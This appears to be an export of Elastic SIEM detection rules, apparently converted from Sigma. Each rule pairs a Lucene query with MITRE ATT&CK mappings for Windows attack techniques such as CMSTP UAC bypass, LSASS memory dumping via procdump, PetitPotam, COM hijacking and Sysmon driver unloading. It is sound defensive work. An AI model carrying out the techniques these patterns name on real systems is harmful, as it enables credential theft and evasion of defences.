""}
{"description": "Detect child processes of automatically elevated instances of Microsoft Connection Manager Profile Installer (cmstp.exe).", "enabled": false, "false_positives": ["Legitimate use of cmstp.exe utility by legitimate user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "df6bffa9-6d02-a2dd-4f31-b9f1118b7f58", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bypass UAC via CMSTP", "query": "((process.executable:*\\\\cmstp.exe OR winlog.event_data.OriginalFileName:\"CMSTP.EXE\") AND process.command_line:(*\\/s* OR *\\/au*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1218", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}, {"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Endgame)", "oscd.community"], "license": ""}
{"description": "Detect creation of dump files containing the memory space of lsass.exe, which contains sensitive credentials. Identifies usage of Sysinternals procdump.exe to export the memory space of lsass.exe which contains sensitive credentials.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1c5a4a6f-885b-b779-1ced-5c1d7f33ff2e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LSASS Memory Dumping", "query": "(((process.command_line:*lsass* AND process.command_line:*.dmp*) AND (NOT (process.executable:*\\\\werfault.exe))) OR (process.executable:*\\\\procdump* AND process.executable:*.exe AND process.command_line:*lsass*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Tony Lambert)", "oscd.community"], "license": ""}
{"description": "Detect creation of suspicious executable file name. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "035ca949-fc23-e212-f1cb-5427fc7b3b08", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Executable File Creation", "query": "(file.path.text:(*.bat.exe OR *.sys.exe) OR file.path.text:(\"C\\:\\\\$Recycle.Bin.exe\" OR \"C\\:\\\\Documents\\ and\\ Settings.exe\" OR \"C\\:\\\\MSOCache.exe\" OR \"C\\:\\\\Recovery.exe\" OR \"C\\:\\\\PerfLogs.exe\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect DLL deletions from Spooler Service driver folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2ba8c83d-bb5d-ab83-d4e8-374aead2e9e3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Spooler Service Suspicious File Deletion", "query": "(process.executable:*\\\\spoolsv.exe AND file.path:*C\\:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detect DLL Load from Spooler Service backup folder", "enabled": false, "false_positives": ["Loading of legitimate driver"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d83919f4-18b7-4961-ec0a-56e61eb8095a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Spooler Service Suspicious Binary Load", "query": "(process.executable:*\\\\spoolsv.exe AND file.path:(*\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\* OR *\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\4\\\\*) AND file.path:*.dll)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["FPT.EagleEye", "Thomas Patzke (improvements)"], "license": ""}
{"description": "Detect download by BITS jobs via PowerShell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "469ff498-367c-6640-7c94-2857f2b3d979", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Bitsadmin Job via PowerShell", "query": "(process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:*Start\\-BitsTransfer*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Endgame", "JHasenbusch (ported to sigma for oscd.community)"], "license": ""}
{"description": "Detect ed user accept agreement execution in psexec commandline", "enabled": false, "false_positives": ["Administrative scripts."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0a475963-0abe-26a2-1dcf-2e3e8a573f05", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Psexec Accepteula Condition", "query": "(process.executable:*\\\\psexec.exe AND process.command_line:*accepteula*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1021", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["omkar72 - "], "license": ""}
{"description": "Detect enable rdp feature to allow specific user to rdp connect on the targeted machine", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6ca26f99-fdc3-0def-c0e9-2e48426e9094", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Allow RDP Remote Assistance Feature", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*System\\\\CurrentControlSet\\\\Control\\\\Terminal\\ Server\\\\fAllowToGetHelp AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect execution of suspicious double extension files in ParentCommandLine", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0249a745-0983-2866-d76e-2a327bfea90a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Double File Extention in ParentCommandLine", "query": "process.parent.command_line.text:(*.doc.lnk* OR *.docx.lnk* OR *.xls.lnk* OR *.xlsx.lnk* OR *.ppt.lnk* OR *.pptx.lnk* OR *.rtf.lnk* OR *.pdf.lnk* OR *.txt.lnk*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect failed attempts to sign in to disabled accounts.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3d170dba-c6b7-50b6-8ec9-36116c377d59", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Login to Disabled Account", "query": "(ResultType:\"50057\" AND ResultDescription:\"User\\ account\\ is\\ disabled.\\ The\\ account\\ has\\ been\\ disabled\\ by\\ an\\ administrator.\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["AlertIQ"], "license": ""}
{"description": "Detect failed authentications from countries you do not operate out of.", "enabled": false, "false_positives": ["If this was approved by System Administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "fd5df3d9-9470-a7d5-e88d-c79f4afc1438", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Failed Authentications From Countries You Do Not Operate Out Of", "query": "((NOT (winlog.event_data.Status:\"Success\")) AND (NOT (Location:**)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["MikeDuddington", "'@dudders1'"], "license": ""}
{"description": "Detect file time attribute change to hide new or changes to existing files.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f96776bb-5879-6386-4a46-dd50ec2d7f81", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "File Time Attribute Change", "query": "((type:\"EXECVE\" AND \"touch\") AND (*\\-t* OR *\\-acmr* OR *\\-d* OR *\\-r*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Igor Fits", "oscd.community"], "license": ""}
{"description": "Detect file time attribute change to hide new or changes to existing files.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "f96776bb-5879-6386-4a46-dd50ec2d7f81", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "File Time Attribute Change", "query": "(process.executable:*\\/touch AND process.command_line:(*\\-t* OR *\\-acmr* OR *\\-d* OR *\\-r*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Igor Fits", "Mikhail Larin", "oscd.community"], "license": ""}
{"description": "Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe).", "enabled": false, "false_positives": ["Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts.", "Legitimate usage of scripts."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5c4740e0-877e-7473-cee1-07145262d085", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Indirect Command Execution", "query": "process.parent.executable:(*\\\\pcalua.exe OR *\\\\forfiles.exe)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["E.M. Anhaus (originally from Atomic Blue Detections", "Endgame)", "oscd.community"], "license": ""}
{"description": "Detect indirect command execution via Program Compatibility Assistant pcwrun.exe", "enabled": false, "false_positives": ["Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts", "Legit usage of scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "28bc35fe-2eff-62dd-0930-298eb3cc705c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Indirect Command Execution By Program Compatibility Wizard", "query": "process.parent.executable:*\\\\pcwrun.exe", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["A. Sungurov ", "oscd.community"], "license": ""}
{"description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7a45c00a-5a4e-54aa-ffee-b631d8d0c65c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Modify Group Policy Settings - ScriptBlockLogging", "query": "(powershell.file.script_block_text:*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System* AND powershell.file.script_block_text:(*GroupPolicyRefreshTimeDC* OR *GroupPolicyRefreshTimeOffsetDC* OR *GroupPolicyRefreshTime* OR *GroupPolicyRefreshTimeOffset* OR *EnableSmartScreen* OR *ShellSmartScreenLevel*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Privilege Escalation", "T1484"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1484", "name": "Domain Policy Modification", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1484", "name": "Domain Policy Modification", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b9af4428-12a7-2b08-b973-aa4e865c19c3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Modify Group Policy Settings", "query": "((process.executable.text:*\\\\reg.exe OR winlog.event_data.OriginalFileName:\"reg.exe\") AND process.command_line.text:*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System* AND process.command_line.text:(*GroupPolicyRefreshTimeDC* OR *GroupPolicyRefreshTimeOffsetDC* OR *GroupPolicyRefreshTime* OR *GroupPolicyRefreshTimeOffset* OR *EnableSmartScreen* OR *ShellSmartScreenLevel*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Privilege Escalation", "T1484"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1484", "name": "Domain Policy Modification", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1484", "name": "Domain Policy Modification", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect modification for a specific user to prevent that user from being listed on the logon screen", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4d450f4b-3eaa-c1fa-76bc-3fd2647a6d90", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "User Account Hidden By Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\Userlist\\\\* AND winlog.event_data.TargetObject:*$ AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "56384687-7154-1ff2-03e4-81abc6cd7ddf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible Privilege Escalation via Service Permissions Weakness", "query": "(IntegrityLevel:\"Medium\" AND process.command_line.text:*ControlSet* AND process.command_line.text:*services* AND process.command_line.text:(*\\\\ImagePath* OR *\\\\FailureCommand* OR *\\\\ServiceDll*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov"], "license": ""}
{"description": "Detect modification of TreatAs key to enable \"rundll32.exe -sta\" command", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d3601365-b445-6dcd-6708-82dbb814c92c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "COM Hijacking via TreatAs", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*TreatAs\\\\\$Default\$) AND (NOT (((process.executable.text:C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* AND process.executable.text:*\\\\OfficeClickToRun.exe)) OR ((process.executable.text:\"C:\\Program Files (x86)\\Microsoft Office\\root\\integration\\integrator.exe\")) OR ((process.executable.text:\"C:\\Windows\\system32\\svchost.exe\")) OR ((process.executable.text:(\"C:\\Windows\\system32\\msiexec.exe\" OR \"C:\\Windows\\SysWOW64\\msiexec.exe\"))))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect PetitPotam coerced authentication activity.", "enabled": false, "false_positives": ["Unknown. Feedback welcomed."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b4e79a9a-22ef-7b71-62fe-d8f22b09193e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible PetitPotam Coerce Authentication Attempt", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\\\\\* AND winlog.event_data.ShareName:*\\\\IPC$ AND winlog.event_data.RelativeTargetName:\"lsarpc\" AND winlog.event_data.SubjectUserName:\"ANONYMOUS\\ LOGON\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1187"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1187", "name": "Forced Authentication", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Mauricio Velazco", "Michael Haag"], "license": ""}
{"description": "Detect possible persistence using Fax DLL load when service restart", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5f2374c3-3d7e-f81a-5f37-b51b417d9bc4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Change the Fax Dll", "query": "((winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Fax\\\\Device\\ Providers\\\\* AND winlog.event_data.TargetObject:*\\\\ImageName*) AND (NOT (winlog.event_data.Details:\"%systemroot%\\system32\\fxst30.dll\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect possible Sysmon driver unload", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "db56f609-6df5-35b0-8c20-2d34ba9cebe9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sysmon Driver Unload", "query": "(process.executable.text:*\\\\fltmc.exe AND process.command_line.text:*unload* AND process.command_line.text:*sys*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070", "T1562", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Kirill Kiryanov", "oscd.community"], "license": ""}
{"description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", "enabled": false, "false_positives": ["SCCM"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "81a77adf-83ee-95c5-7354-b89561bf7386", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote WMI ActiveScriptEventConsumers", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4624\" AND winlog.event_data.LogonType:\"3\" AND winlog.event_data.ProcessName:*scrcons.exe) AND (NOT (TargetLogonId:\"0x3e7\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs", "enabled": false, "false_positives": ["If source account name is not an admin then its super suspicious"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b8d65bc0-c56d-b15d-2c95-2739b1139398", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AD Privileged Users or Groups Reconnaissance", "query": "(winlog.channel:\"Security\" AND ((winlog.event_id:\"4661\" AND winlog.event_data.ObjectType:(\"SAM_USER\" OR \"SAM_GROUP\")) AND (winlog.event_data.ObjectName:(*\\-512 OR *\\-502 OR *\\-500 OR *\\-505 OR *\\-519 OR *\\-520 OR *\\-544 OR *\\-551 OR *\\-555) OR winlog.event_data.ObjectName:*admin*)) AND (NOT (winlog.event_data.SubjectUserName:*$)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden"], "license": ""}
{"description": "Detect remote login by Administrator user (depending on internal pattern).", "enabled": false, "false_positives": ["Legitimate administrative activity."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "80dc53a5-ab33-1810-5774-a059b622166b", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Admin User Remote Logon", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4624\" AND winlog.event_data.LogonType:\"10\" AND winlog.event_data.AuthenticationPackageName:\"Negotiate\" AND winlog.event_data.TargetUserName:Admin*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Lateral Movement", "T1078", "T1078", "T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["juju4"], "license": ""}
{"description": "Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.", "enabled": false, "false_positives": ["need tuning applocker or add exceptions in SIEM"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "02ca51e5-b374-8dd6-4ec9-b7a0139a8876", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "File Was Not Allowed To Run", "query": "winlog.event_id:(\"8004\" OR \"8007\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059", "T1059", "T1059", "T1059", "T1059", "T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Pushkarev Dmitry"], "license": ""}
